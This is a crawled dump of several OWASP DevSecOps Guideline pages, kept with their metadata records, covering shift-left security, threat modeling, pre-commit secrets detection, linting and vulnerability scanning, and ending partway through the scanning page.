repositories for finding potential credentials leakage.\n- SAST (Static Application Security Test)\n- SCA (Software Composition Analysis)\n- IAST (Interactive Application Security Testing)\n- DAST (Dynamic Application Security Test)\n- IaC Scanning (Scanning Terraform, HelmChart code to find misconfiguration)\n- Infrastructure scanning\n- Compliance check\n\n## Latest\n\nYou can [read the latest development documents in our official GitHub repository](https://github.com/OWASP/DevSecOpsGuideline/tree/master/documents) or view the latest content at [latest](latest/).\n\n### Contributions\n\nFeel free to contribute to this project; any contributors are welcome to make a pull request on [the project repo](https://github.com/OWASP/DevSecOpsGuideline).\n\n- [OWASP SAMM](https://owasp.org/www-project-samm/)\n- [OWASP Devsecops Maturity Model](https://owasp.org/www-project-devsecops-maturity-model/)\n\n---\n\n## Contributing\n\nContributing to this project is so simple. Please go to the project’s [GitHub repo](https://github.com/OWASP/DevSecOpsGuideline) and send a new pull request.\n\nPlease do not hesitate to create an issue if you have any ideas or recommendations.[Share your opinion or recommandation](https://github.com/OWASP/DevSecOpsGuideline/issues)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 2112, "slov": 263, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:29", "sha256": "3cd720b12c725f3e9865887c02f1f4904f75ad0029e2220d05ae2ed6174742d6", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/DevSecOpsGuideline/tree/master/documents", "https://github.com/OWASP/DevSecOpsGuideline", "https://github.com/OWASP/DevSecOpsGuideline/issues", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/DevSecOpsGuideline/releases", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Introduction to the OWASP DevSecOps Guideline"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Introduction to the OWASP DevSecOps Guideline\n\nThe OWASP DevSecOps Guideline explains how we can implement a secure pipeline and use best practices and introduce tools that we can use in this matter. Also, the project is trying to help us promote the shift-left security culture in our development process.\nThis project helps any companies of each size that have a development pipeline or, in other words, have a DevOps pipeline. We try to draw a perspective of a secure DevOps pipeline during this project and then improve it based on our customized requirements.\n\nThe Ideal goal is **“detect security issues (by design or application vulnerability) as fast as possible.”**\n\nMaybe the following picture can describe the goal of securing pipelines better. As you can see, we can add more steps in Dev pipelines and deliver products more secure and reliable to the products’ customers.\nWe just put some open-source and commercial tools as an example in this image. As always, you are free to select tools and the exact location where you want to implement the tools. \nBesides implementing more security steps, Having a central vulnerabilities management solution can help to have a good view of the application security outlook in one picture.\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 1415, "slov": 218, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:32", "sha256": "421946496425f945abf189476152aa37323b931a33e2183f410ad404d49be508", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "DevSecOps Intro"}, {"uroven": 3, "text": "What’s the Shift-left security strategy?"}, {"uroven": 3, "text": "Dev+Sec+Ops"}, {"uroven": 3, "text": "The DevSecOps culture"}, {"uroven": 3, "text": "Privacy"}, {"uroven": 3, "text": "Software testing strategies"}, {"uroven": 4, "text": "Different software testing strategies"}, {"uroven": 4, "text": "Methods of testing"}, {"uroven": 4, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## DevSecOps Intro\n\nToday, DevOps is empowering any organizations to deploy changes to production environments at blazing rates.\nSince time to deliver is so important feature during this process, the main question for a security person is\n“How I can secure this process?” or “How much our deliverable products are secure?”.\nIn this regard, we can embed some security-related steps entire our DevOps process to perform some automated tests.\nSo considering the DevSecOps or secure DevOps culture helps us to promote the shift-left security strategy in our company,\nat least in the tech department.\n\n### What’s the Shift-left security strategy?\n\nAs a simple definition, the shift-left security strategy is a way or solution to embedding security as a part of our development process\nand consider security from the inception steps of application or system design.\nIn other words, security is responsible for everyone who works in the software development and operating process.\nOf course, security is a profession and we need highly skilled people to play security-related roles;\nbut in this approach, any designer, software architecture, developer, DevOps engineer, and … together with security guys have liability about security.\n\n### Dev+Sec+Ops\n\nSuppose that these 3 different areas for covering each other is something like the image,\nso in conclusion with the above words, we need to implement some tools and working on promoting a DevSecOps culture too.\n\nAs Shannon Lietz - founder at DevSecOps foundation - said:\n\n> The purpose and intent of DevSecOps is to build on the mindset that\n> “everyone is responsible for security” with the goal of safely distributing\n> security decisions at speed and scale to those who hold the highest level of\n> context without sacrificing the safety required.”\n\n### The DevSecOps culture\n\nAs you heard before we want to talk about the Shift-left security.\nIt means we should consider security from design (in a simple definition) which target is moving security earlier in the development process.\n\nLet’s suppose that you are working in a DevOps team and you are traditionally doing security test\n(yes, end of all QA tests and before going to production), what happens?\nWell, all bugs should be fixed ASAP, Developer team is under pressure to fix issues,\nQA tests should be performed again, and security test again.\nThis means that the costs, money and time, increase.\nIn the end, you sacrifice agility for security things do not like a business team.\n\nThe solution is introducing security earlier in the process instead of having it in the final steps.\nConsidering security in design by threat modeling and\nbreak down huge security tests in smaller security testing and integrating them in the development pipeline.\n\nThe following picture shows the differences between DevOps and DevSecOps lifecycles.\n\n### Privacy\n\nPrivacy has become a major topic for companies of all sizes, since GDPR (Europe’s General Data Protection Regulations), CCPA (California Consumer Privacy Act), LGPD – Brazil’s Lei Geral de Proteção de Dados, and other laws and regulations are being enforced around the world.\n\nApplications that will process a large volume of PII (personally identifiable information) should adapt the DevSecOps to follow the Privacy by Design approach, where the development process addresses privacy concerns thru the whole cycle.\n\n### Software testing strategies\n\nWhen, we talk about testing we should have in mind\nwe have different definitions in testing which is can change our route to achieving\na secure DevSecOps cycle.\nLet’s take look into this definitions.\n\n#### Different software testing strategies\n\n1. **Positive testing**\n\nPositive testing assumes that, under normal conditions and inputs,\neverything will behave as expected.\nIt is performed with the assumption that only valid and relevant things will happen:\ndata set and all other functionalities will be as expected.\n\n1. **Negative testing**\n\nNegative testing checks the system behavior under unexpected conditions.\nNegative testing plays a much important role in high-performance software development:\nit checks the software behavior under unexpected conditions and inputs.\n\n#### Methods of testing\n\n1. **Static testing** Static Testing checks software defects without executing the application code.\nIt is performed in the early stage of development to avoid errors, as it is easier to find sources of failures and it can be fixed easily.\nSome issues that can’t be found using Dynamic Testing, can be easily found by Static Testing. Such issues consists of hard coded credentials, deprecated encryption algorithms, 2nd order injections, weak random, etc. \nMost static analysis tools have the testing scope limited to one component and can not perform tests across different components. (EG. for a microservice architecture, static analysis tools will test each microservice independently)\n2. **Dynamic testing** Dynamic Testing analyzes the behavior of the application code at runtime. Scanners send specially crafted requests to the target application. Request parameters are constantly modified during testing to try and expose a range of vulnerabilities. Based on the response of the application the tool can then identify potential vulnerabilities and report back. Some issues that can’t be found by static analysis are easily detected by dynamic analysis. Such issues include client side vulnerabilities like authentication & session issues, sensitive data sent in plain text, etc. \nDynamic analysis tools have the possibility of testing the entire application flow(multiple components at once). (Eg. for a microservice architecture, dynamic analysis tools can point to one microservice, but as they interact with each other results will represent the behaviour of the entire application)\n3. **Interactive analysis** Also known as Interactive Application Security Testig (IAST) monitors the application while other systems interact with it and observe vulnerabilities. This is achieved via sensors or agents deploy with the application. The sensors can see the entire flow from HTTP request down to the executed code, tracing the data through the application. Similar to static analysis, it can test one component at a time, but not multiple components. However, if agents/sensors are deployed on all components, when they interact with eachother this could reveal vulnerabilities in each component used in the application. (Eg. for a microservice architecture, only the microservices that have agents/sensors attached will report vulnerabilities)\n\n---\n\n#### References\n\n1. https://www.geeksforgeeks.org/difference-between-positive-testing-and-negative-testing\n2. https://www.geeksforgeeks.org/difference-between-static-and-dynamic-testing\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 6844, "slov": 1023, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:38", "sha256": "c8ffe5c4d548eff9744c6ceedc0322aa0055dcad543dc208fc4947cf00f3dfff", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/00b-Threat-modeling", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/00b-Threat-modeling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/00b-Threat-modeling.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 3, "text": "What is Threat Modeling?"}, {"uroven": 4, "text": "Process Outputs:"}, {"uroven": 4, "text": "Terms:"}, {"uroven": 3, "text": "Why Threat Modeling?"}, {"uroven": 3, "text": "Who should the threat model?"}, {"uroven": 3, "text": "When to perform Threat modeling?"}, {"uroven": 2, "text": "Select the Right approach & Methodology"}, {"uroven": 3, "text": "Approaches"}, {"uroven": 3, "text": "Methodology"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Threat Modeling\n\nSince an important part of the DevSecOps initiative is the threat modeling and evaluating the risk of them. So in this part, we want to take look into this topic.\n\n### What is Threat Modeling?\n\nThat is a systematically listing all the potential ways one can attack an application. So Threat Modeling is a process for looking at attacks actively. The output of this process is a list of threats or probable threat scenarios also our approach should be Holistic to consider all threats not a specific part of an application. On the other hand Threat modeling is a **Collaborative** and **Repeatable** process.\n\n#### Process Outputs:\n\n- Diagrams\n- Security requirements\n- Non-requirements\n- List of threats / vulnerabailties\n\n#### Terms:\n\n- Weakness: A software defect or bug (Ex: missing user email validation)\n- Vulnerability: A weakness that can be exploited. (Ex: The user email field can be abused to insert SQL statement)\n- Attack\n - Target: the value of an attack\n - Attack Vector: the path that attacker can take to exploit a vulnerability\n - Threat Actor: threat source.\n- Attack Surface: Anything that can be obtained, used, or attacked by a threat actor\n- Risk: Risk = Impact * Likelihood\n\n### Why Threat Modeling?\n\nAs main reasons for using threat modeling we can say:\n\n- Pro-active approach to finding threats\n- Increasing efficiency by reducing cost\n- A better prioritization based on bugs and mitigation plan\n- A better understanding of the system\n\n### Who should the threat model?\n\n- Architect, who knows how the application has been designed and how data flows across.\n- Developer, who knows the elaborate details on how the application was built, the detailed interactions between components.\n- Tester, who knows the requirements, and what the application is supposed to do.\n- Security expert, who knows about specific attack factors and vulnerabilities.\nHowever, the best answer to this question is, **It depends on the organization** .\n\n### When to perform Threat modeling?\n\nSince, the earlier you find vulnerabilities in software, the easier and cheaper it is to fix them, Threat Modeling should be as early as possible in the software design process. If you are working in an agile environment, ideally the threat modeling should be done during each sprint.\n\n## Select the Right approach & Methodology\n\nHere we have to term 1st is Approach that describes how one could start with the process with threat modeling and 2nd is Methodology which describes the process itself. So each of the methodologies is based on one of the 3 available approaches.\n\n### Approaches\n\n- **Asset-centric Approach** : According to the name, it turns around assets. So the producing steps are as follows:\n 1. Create a list of assets\n 2. Draw assets, components and data flows\n 3. For each element, check for threats\n\nBy repeating these steps for all assets, a list of threats will be produced.\n\n- **Attacker-centric Approach** : Staring threat modeling from an attacker perspective. So the producing steps are as follows:\n 1. Create a list of threat actors\n - Motive\n - Means\n - Opportunity\n 2. Create a list of threats\n- **Application-centric Approach** :\nThis one starts with visualizing the application instead of thinking about the risks or attacks first. So the producing steps are as follows:\n 1. Draw a diagram of the application\n 2. List threats for each element\n - STRIDE\n - OWASP TOP 10\n 3. Rank threats using a classification model\n\n### Methodology\n\nAccording to the approaches we have a list of methodology which are as follows:\n\n- PASTA\n- Microsoft Threat Modeling\n- OCTAVE\n- TRIKE\n- VAST\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 3675, "slov": 577, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:37", "sha256": "6836feb02d43c5062a4e5e7fee1c86905f7355c291d2d257efc4ecf0eef42510", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/01-Pre-commit", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/01-Pre-commit", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/01-Pre-commit.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Pre-commit"}, {"uroven": 2, "text": "Tools:"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Pre-commit\n\nThe Pre-commit fase is important because it can prevent security issues before they are submitted to a central (Git) repository.\n\nMaking sure that there are no secrets in the code, and that the code follows certain guidelines (According to the Linter rules) will result in a higher quality code.\n\nIn the following, we take a look into different types of pre-commit actions that are as follows:\n\n1. Secrets Management\n2. Linting Code\n\nThe following image can give you a better view of what the pre-commit means and why we must consider it.\n\n## Tools:\n\n- [Pre-Commit](https://pre-commit.com/) - A framework for managing and maintaining multi-language pre-commit hooks.\n\n### References\n\n- [Wikipedia - Lint (software)](https://en.wikipedia.org/wiki/Lint_(software))\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 933, "slov": 129, "odkazu": 42, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:41", "sha256": "50723938f20b0a40ba7c9d49320887f96fdbe79efa8b83c76dd9e8857ed8205f", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://pre-commit.com/", "https://en.wikipedia.org/wiki/Lint_(software)", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/01a-Secrets-Management", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/01a-Secrets-Management", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/01a-Secrets-Management.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Take care secrets and credentials in repositories"}, {"uroven": 3, "text": "Detecting secrets in several locations"}, {"uroven": 3, "text": "Why Detecting Secrets?"}, {"uroven": 3, "text": "Where and when to Detect Secrets?"}, {"uroven": 2, "text": "Tools:"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Take care secrets and credentials in repositories\n\n*How can you ensure that sensitive information are not pushed to a repository?*\n\nThis is one of the [OWASP Top Ten issues](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure) and\nseveral bug bounties write-ups are related to this kind of issue, eg hard-coded credentials pushed by mistake.\n\nYou should scan your commits and your repository, and detect any sensitive information such as password, secret key, confidential, etc.\nfollowing the process shown in the picture.\n\nThe ideal approach is detecting and preventing the exposure of sensitive data before that they hit the repository,\nbecause they are then visible in the history. In case of code hosting platforms, secrets can still linger \non the web and be searchable after you remove them from the repository.\n\nA complimentary approach is scanning the repo for sensitive information, and then remove them;\nnote that when a credential is leaked, it is already compromised and should be invalidated.\n\n### Detecting secrets in several locations\n\n- **Detecting existing secrets** by searching in a repository for existing secrets.\n- **Using Pre-commit hooks** in order to prevent secrets for entering our code base.\n- **Detecting secrets in a pipeline** .\n\n### Why Detecting Secrets?\n\n- The secrets should not be hardcoded.\n- The secrets should not be unencrypted.\n- The secrets should not be stored in source code.\n- The code history does not contain inadvertent secrets.\n\n### Where and when to Detect Secrets?\n\nWell, the best location is the **pre-commit** location, This ensure that before a secret actually enters your code base, it is intercepted, and the developer or to committer gets a message. Another location is the build server or the **build** process. The build server retrieves source code, which is already committed and then it can analyze the source code where it contains new secrets or when it contains known secrets that the secrets are actually validated or audited.\n\n---\n\nHere are some helpful tools to automatically scan repositories for sensitive information.\nScans can be implemented directly in our pipeline, and be repeatable and efficient.\n\n## Tools:\n\n- [gittyleaks](https://github.com/kootenpv/gittyleaks) - Find sensitive information for a git repo\n- [git-secrets](https://github.com/awslabs/git-secrets) - Prevents you from committing secrets and credentials into git repositories\n- [Repo-supervisor](https://github.com/auth0/repo-supervisor) - Scan your code for security misconfiguration, search for passwords and secrets\n- [truffleHog](https://github.com/dxa4481/truffleHog) - Searches through git repositories for high entropy strings and secrets, digging deep into commit history\n- [Git Hound](https://github.com/ezekg/git-hound) - Git plugin that prevents sensitive data from being committed\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 2965, "slov": 413, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:43", "sha256": "75bfd1d5977819dd3a9dd5479df5cd446d2b015a913f16188a92f00c10f75334", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/kootenpv/gittyleaks", "https://github.com/awslabs/git-secrets", "https://github.com/auth0/repo-supervisor", "https://github.com/dxa4481/truffleHog", "https://github.com/ezekg/git-hound", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/01b-Linting-Code", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/01b-Linting-Code", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/01b-Linting-Code.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Linting Code"}, {"uroven": 3, "text": "What Is Linting?"}, {"uroven": 3, "text": "What can Linting do?"}, {"uroven": 3, "text": "Basic Lint Tools"}, {"uroven": 3, "text": "Advanced Static Analysis Tools"}, {"uroven": 3, "text": "Issues with Linters"}, {"uroven": 3, "text": "Where and When to Use Linter"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Linting Code\n\n### What Is Linting?\n\nLinting is the automated checking of your source code for programmatic and stylistic errors. This is done by using a lint tool (otherwise known as linter). A lint tool is a basic static code analyzer.\n\n### What can Linting do?\n\n- Linting can **detect errors** in a code and errors that can lead to a security vulnerabilities.\n- Linters Can Also **detect formatting or styling issues** and makes the code more readable for more secure code.\n- Linters can **suggest best practices** .\n- Also they can **increases overall quality of the code** .\n- Since everybody follows the same linting rules it **makes maintenance of code easier** .\n\n### Basic Lint Tools\n\nLint tools are the most basic form of static analysis. Using lint tools can be helpful for identifying common errors, such as:\n\n- Indexing beyond arrays.\n- Dereferencing null pointers.\n- (Potentially) dangerous data type combinations.\n- Unreachable code.\n- Non-portable constructs.\n\n### Advanced Static Analysis Tools\n\nAdvanced static analysis tools typically deliver:\n\n- Pattern-based simulation.\n- Quality and complexity metrics.\n- Best practice recommendations for developers.\n- Support for multiple safety and security-focused coding standards.\n- Out-of-the-box certification for use in the development of safety-critical applications.\n\n### Issues with Linters\n\n- Not every language has “quality” standard linter tools available, each framwork usually has one or several linters.\n- Different versions or configurations can lead to different results.\n- Since some linters are very verbose and information overload can lead to focusing on “unimportant” issues.\n\n### Where and When to Use Linter\n\nYou can perform it in the **pre-commit** phase, so locally before actually committing code to your local repository to your local clone. Another phase where you often see linting is during the **build** phase, So here the build server pulls the code from the Git repository and performs linting on it and reports back that results from linting phase.\n\n### References\n\n- [Preforce](https://www.perforce.com/blog/qac/what-lint-code-and-why-linting-important)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 2242, "slov": 326, "odkazu": 41, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:45", "sha256": "5d99a16469acdc4c9a585d01d917cb09ed2e2b459714148387d35aa558b2ccaa", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.perforce.com/blog/qac/what-lint-code-and-why-linting-important", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02-Vulnerability-Scanning", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02-Vulnerability-Scanning", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02-Vulnerability-Scanning.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Vulnerability Scanning"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Vulnerability Scanning\n\nVulnerability scanning is an inspection of the potential points of exploit on a computer, application, endpoints, and IT infrastructure (including network) to identify security holes.\n\nPerforming vulnerability scanning is a common requirements for regulatory compliance and can help to minimize an organization’s cybersecurity risk. An Approved Scanning Vendor (ASV), for example, is a service provider that is certified and authorized by the Payment Card Industry (PCI) to scan payment card networks.\n\nIn the following, we take a look into different types of vulnerability scanning that are as follows:\n\n1. Static Application Security Test - SAST\n2. Dynamic Application Security Test - DAST\n3. Interactive Application Security Testing - IAST\n4. Software Composition Analysis - SCA\n5. Infrastructure Vulnerability Scanning\n6. Continer Vulnerability Scanning\n\n### References\n\n- [Wikipedia - Vulnerability 